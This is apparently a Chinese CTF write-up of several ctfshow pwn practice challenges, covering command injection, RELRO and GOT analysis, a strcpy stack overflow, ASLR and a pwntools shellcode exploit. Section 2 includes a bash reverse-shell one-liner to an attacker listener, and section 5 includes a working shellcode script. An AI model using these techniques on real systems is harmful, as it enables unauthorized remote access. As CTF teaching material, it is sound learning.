1
程序运行后要求用户输入一个整数,并存入 v4。
判断用户输入:如果输入 9,执行* fake(),向 /ctfshow_flag* 追加 “flag is here”。如果输入其他数值,执行* real()覆盖 /ctfshow_flag*,写入 “flag is here”,最后system(“cat /ctfshow_flag”) 输出 /ctfshow_flag 的内容。
fake() *在 */ctfshow_flag 追加内容 (» 追加),不会覆盖原来的数据,real() 在 */ctfshow_flag *直接写入内容 (> 覆盖),会清空原来的数据。
2
从这段 main 函数的实现来看flag很可能可以通过子进程提供的 shell 进行获取。
缓冲区buf变量在栈上占用 40 字节,但是* read(0, buf, 0x20u);* 只读取 32 字节数据,意味着不会发生缓冲区溢出。
fork() 产生一个新的子进程: 父进程:fork() 返回子进程的 PID(非零)。 子进程:fork() 返回 0。 父进程 wait(0LL); → 等待子进程结束 sleep(3); → 休眠3秒 printf(“flag is not here!\n”); → 提示 flag 不在此处
漏洞点在于system(buf),题目提示* “Turn off output, how to get flag?”,说明输出被屏蔽了,所以用exec cat /ctf* 1>&0* exec:用 exec 执行 cat /ctf,不会再回到 shell,而是直接执行该命令。 cat /ctf:读取 /ctf* 下的 flag 文件。
1>&0: 1 代表标准输出(stdout) 0 代表标准输入(stdin) 1>&0 把标准输出重定向到标准输入,如果 stdout 被关闭或屏蔽,则会将输出绕过限制使其可见。
这里还用 bash 反弹 shell,在本机监听端口再在目标机输入bash -i >& /dev/tcp/ip/1234 0>&1 /dev/tcp/ip/端口。>&将 bash 的stdout 和 stderr重定向到 TCP 连接,0>&1是将stdin也重定向使bash可以接受远程指令。
3
RELRO(RELocation Read-Only)是一种可选的二进制保护机制,用于增加程序的安全性。它主要通过限制和保护全局偏移表(Global Offset Table,简称 GOT)和过程链接表(Procedure Linkage Table,简称 PLT)的可写性来防止针对这些结构的攻击。
RELRO保护有三种状态:
1.No RELRO:在这种状态下,GOT和PLT都是可写的,意味着攻击者可以修改这些表中的指针,从而进行攻击。这是最弱的保护状态。
-
Partial RELRO:在这种状态下,GOT的开头部分被设置为只读(RO),而剩余部分仍然可写。这样可以防止一些简单的攻击,但仍存在一些漏洞。
-
Full RELRO:在这种状态下,GOT和PLT都被设置为只读(RO)。这样做可以防止对这些结构的修改,提供更强的保护。任何对这些表的修改都会导致程序异常终止
如果题目开启了Full RELRO:不能直接篡改GOT表,因此无法实现常规的GOT hijack或修改GOT表的攻击方式。 如果题目仅开启Partial RELRO或者No RELRO:可以轻易篡改GOT表将函数调用劫持到自己可控的地址。
补充
Full RELRO的 .got 和 .got.plt 都被设置为只读,需要在程序启动时完成 所有动态符号的绑定(即启用 Eager Binding)。由于所有符号都在程序启动时绑定,运行时性能可能会稍微降低,因为需要提前解析所有符号。
在GCC编译时,使用* -Wl,-z,relro -Wl,-z,now* 选项启用 Full RELRO。
objdump -R 一下
0000000000600f40 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000600f48 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
.got.plt通常包含R_X86_64_JUMP_SLOT项,因此可以判断文件中存在.got.plt
通过readelf输出的节头信息,明确地给出:
[21] .got PROGBITS 0000000000600f18 WA
[22] .got.plt PROGBITS 0000000000600f18
.got 和 .got.plt 都有Writable属性因此两者都是可写的。
.got 可写,为 1 .got.plt 可写,为 1
根据题目格式得出ctfshow{1_1_0x600f18_0x600f40}是错的(?)
哦发现.got.plt的地址写错了,根据最readelf输出真正的地址为0x600f28,即ctfshow{1_1_0x600f18_0x600f28}。
4
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, stream);
尝试 */ctfshow_flag *并将内容读入一个大小64的静态定义的缓冲区。
signal(11, (__sighandler_t)sigsegv_handler);
ctfshow() 函数
char *__cdecl ctfshow(char *src)
{
char dest[58]; // [esp+Ah] [ebp-3Eh] BYREF
return strcpy(dest, src);
}
char dest[58] 是一个位于栈上的本地缓冲区,长度是 58 字节 strcpy(dest, src):这里没有任何边界检查传进来的 src 字符串长度超过 57 个字符那么就会发生栈溢出。
引发段错误 → 程序进入 SIGSEGV_HANDLER() → 打印出 FLAG。
甚至不用管ROP和 shellcode,导致段错误就行了,传一个超长字符串qwq给 strcpy(),把栈搞炸溢出到返回地址或别的关键区域让 CPU 跳到无效地址并崩溃。
5
32位仅部分开启RELRO保护,可以看到存在一个RWX权限的段,即可读可写可执行的段
IDA查看main函数发现有一个ctfshow函数,但是无法跟进那么就直接看汇编了。
- 函数开始时进行一些栈操作,保存寄存器的值。
- 调用 __x86_get_pc_thunk_bx 函数,获取当前的指令位置并存储在ebx 寄存器中。
- 分配0x84字节的空间用于缓冲区,存储用户输入的数据。
- 调用 read 函数,从标准输入读取数据,并存储到缓冲区。
- 调用 puts 函数,将缓冲区的内容打印到标准输出。
- 通过调用 call eax 指令,以 eax 寄存器的值作为函数指针,跳转到缓冲区中存储的地址执行。
- 之后是一些清理工作和函数返回的准备操作。
这题题目提示了可以使用pwntools的shellcraft模块进行攻击
from pwn import * # 导入 pwntools 库
context.log_level = 'debug' # 设置日志级别为调试模式
#io = process('./pwn')
io = remote("pwn.challenge.ctf.show", )
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive() # 与目标主机进行交互
6
程序的核心逻辑其实非常简单,就是看ASLR开启没有。先调用 malloc(4) 分配一小块内存得到一个指针 ptr;用 dlopen 加载了* /lib/x86_64-linux-gnu/libc.so.6* 得到返回地址 v5;打印一堆 banner;再system(“cat /proc/sys/kernel/randomize_va_space”) *输出系统当前的 ASLR级别;最后通过 *printf *的形式把四个指针值拼成了flag。题目是想让我把 ASLR 关掉(echo 0 > /proc/sys/kernel/randomize_va_space)*再去运行程序,因为这时程序里所有地址的值就不会随机化。
checksec显示了* No PIE*,可执行文件本身的基地址不变,但默认情况下,libc、堆等地址一般依赖于 ASLR 会随机化,把 ASLR 关掉所有地址就都固定了。
ASLR(Address Space Layout Randomization,地址空间布局随机化) 通过随机化进程内存地址空间的布局,更难利用漏洞进行代码执行或泄露信息。
- 可执行文件(text segment)
- 堆(Heap)
- 栈(Stack)
- 动态链接库(Shared libraries)
- mmap映射的地址(Memory-mapped files)
当一个进程启动时,操作系统会随机分配这些内存区域的位置,而不是每次都使用固定的地址。在一个Linux系统上每次运行一个程序,堆栈的起始地址都可能会不同,所以导致漏洞利用变得困难。
检测ASLR是否启用 *cat /proc/sys/kernel/randomize_va_space *
- 0 – 关闭 ASLR
- 1 – 部分启用(stack, mmap)
- 2 – 完全启用(包括 heap, stack, mmap, shared libraries)
补充
调试的时候用* setarch $(uname -m) -R ./vulnerable_program*
使用 LD_PRELOAD 固定 libc 地址 LD_PRELOAD=./libc.so.6 ./pwn
由于 ASLR 会随机化地址,我们可以多次运行程序,查看地址是否变化:for i in {1..5}; do ./pwn; done
格式化字符串漏洞:p.sendline(“%p.%p.%p”)
puts@got 泄露(Partial RELRO 可用):
p.sendlineafter(">", payload)
leaked_puts = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leaked_puts - libc.sym['puts']